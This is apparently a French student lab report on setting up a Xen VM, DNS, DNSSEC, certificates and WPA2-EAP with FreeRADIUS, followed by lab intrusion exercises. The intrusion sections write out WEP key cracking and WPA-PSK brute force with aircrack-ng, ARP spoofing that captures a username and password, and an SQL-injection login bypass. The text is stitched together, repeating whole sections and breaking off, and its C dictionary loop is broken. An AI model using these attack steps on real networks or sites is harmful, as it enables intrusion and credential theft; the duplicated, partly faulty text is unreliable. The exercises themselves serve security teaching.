- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-14T12:23:40Z

Lchenu :

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

